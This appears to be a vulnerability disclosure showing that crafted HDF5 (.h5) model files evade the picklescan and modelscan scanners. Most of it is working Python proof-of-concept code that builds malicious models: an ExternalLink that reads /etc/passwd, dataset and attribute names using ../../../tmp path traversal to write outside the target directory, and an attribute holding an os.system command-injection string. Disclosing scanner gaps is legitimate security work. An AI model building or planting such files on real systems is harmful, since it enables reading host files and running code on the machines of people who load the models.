Views
No views yet
.h5, .hdf5) that bypass both picklescan 1.0.4 and modelscan 0.8.8 (3/3 MISSED by both):ExternalLink("/etc/passwd", "/") reads host files.../../../tmp/evil are accepted and preserved in the HDF5 virtual filesystem. Tools that extract datasets to disk write outside the target directory.| File | Attack | Impact | picklescan | modelscan |
|---|---|---|---|---|
hdf5_external_link.h5 | ExternalLink("/etc/passwd", "/") | Arbitrary file read when link is accessed | MISSED | MISSED |
hdf5_traversal.h5 | Dataset path ../../../tmp/pwned | File write on dataset extraction | MISSED | MISSED |
hdf5_attr_injection.h5 | Code in attribute value + traversal in attribute name | Injection if attrs are evaluated or used as paths | MISSED | MISSED |
1import h5py, numpy as np
2
3# Create malicious model
4with h5py.File("evil_model.h5", 'w') as f:
5 f.create_dataset("weights", data=np.random.randn(10, 10))
6 f["secret_data"] = h5py.ExternalLink("/etc/passwd", "/")
7
8# Victim loads model and iterates datasets:
9with h5py.File("evil_model.h5", 'r') as f:
10 for key in f.keys():
11 data = f[key] # accessing "secret_data" opens /etc/passwd1with h5py.File("model.h5", 'w') as f:
2 f.create_dataset("../../../tmp/pwned", data=np.array([1.0])).. component navigates up in the HDF5 group hierarchy. While h5py resolves this internally, tools that map HDF5 paths to filesystem paths during extraction are vulnerable.1with h5py.File("model.h5", 'w') as f:
2 ds = f.create_dataset("weights", data=np.random.randn(10, 10))
3 ds.attrs["../../../tmp/evil"] = "traversal in attr name"
4 ds.attrs["description"] = '__import__("os").system("id")'1import h5py, numpy as np
2
3# Payload 1: External link
4with h5py.File("hdf5_external_link.h5", 'w') as f:
5 f.create_dataset("weights", data=np.random.randn(10, 10))
6 f["secret"] = h5py.ExternalLink("/etc/passwd", "/")
7
8# Payload 2: Path traversal
9with h5py.File("hdf5_traversal.h5", 'w') as f:
10 f.create_dataset("../../../tmp/pwned", data=np.array([1.0, 2.0]))
11 f.create_dataset("normal_weights", data=np.random.randn(10, 10))
12
13# Payload 3: Attribute injection
14with h5py.File("hdf5_attr_injection.h5", 'w') as f:
15 ds = f.create_dataset("weights", data=np.random.randn(10, 10))
16 ds.attrs["../../../tmp/evil"] = "traversal in attr name"
17 ds.attrs["description"] = '__import__("os").system("id")'